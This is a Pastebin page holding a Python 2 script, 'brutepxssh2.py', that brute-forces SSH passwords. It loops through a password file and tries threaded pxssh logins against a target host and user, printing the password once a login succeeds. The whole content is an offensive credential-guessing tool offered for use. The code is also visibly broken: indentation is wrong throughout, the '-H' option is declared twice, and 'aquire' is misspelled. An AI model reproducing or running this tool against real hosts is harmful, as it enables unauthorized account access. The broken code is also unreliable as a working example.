Advertisement
rfmonk

brutepxssh2.py

Nov 25th, 2013
104
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.67 KB | None | 0 0
  1. #! /usr/bin/env python
  2.  
  3. import pxssh
  4. import optparse
  5. import time
  6. from threading import *
  7. maxConnections = 5
  8. connection_lock = BoundedSemaphore(value=maxConnections)
  9. Found = False
  10. Fails = 0
  11. def connect(host, user, password, release):
  12.     global Found
  13.     global Fails
  14.     try:
  15.         s = pxssh.pxssh()
  16.         s.login(host, user, password)
  17.         print '[+] Password Found: ' + password
  18.     Found = True
  19. except Exception, e:
  20.     if 'read_nonblocking' in str(e):
  21.     Fails += 1
  22.         time.sleep(5)
  23.         connect(host, user, password, False)
  24.     elif 'synchronize with original prompt' in str(e):
  25.         time.sleep(1)
  26.         connect(host, user, password, False)
  27.     finally:
  28.     if release: connection_lock.release()
  29. def main():
  30.     parser = optparse.OptionParser('usage%prog '+\
  31.         ' -H <target host> -u <user> -F <password list>')
  32.     parser.add_option('-H', dest='tgtHost', type='string', \
  33.         help='specify target host')
  34.     parser.add_option('-H', dest='passwdFile', type='string', \
  35.         help ='specify password file')
  36.     parser.add_option('-U', dest='user', type='string', \
  37.         help='specify the user')
  38.         (options, args) = parser.parse_args()
  39.     host = options.tgtHost
  40.     passwdFile = options.passwdFile
  41.     user = options.user
  42.     if host == None or passwdFile == None or user == None:
  43.         print parser.usage
  44.         exit(0)
  45.     fn = open(passwdFile, 'r')
  46.     for line in fn.readlines():
  47.     if Found:
  48.         print "[*] Exiting: Password Found"
  49.         exit(0)
  50.         if Fails > 5:
  51.         print "[!] Exiting: Too Many Socket Timepouts"
  52.         exit(0)
  53.     connection_lock.aquire()
  54.         password = line.strip('\r').strip('\n')
  55.     print "[-] Testing: "+str(password)
  56.         t = Thread(target=connect, args=(host, user, \
  57.             password, True))
  58.         child = t.start()
  59. if __name__ == '__main__':
  60.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement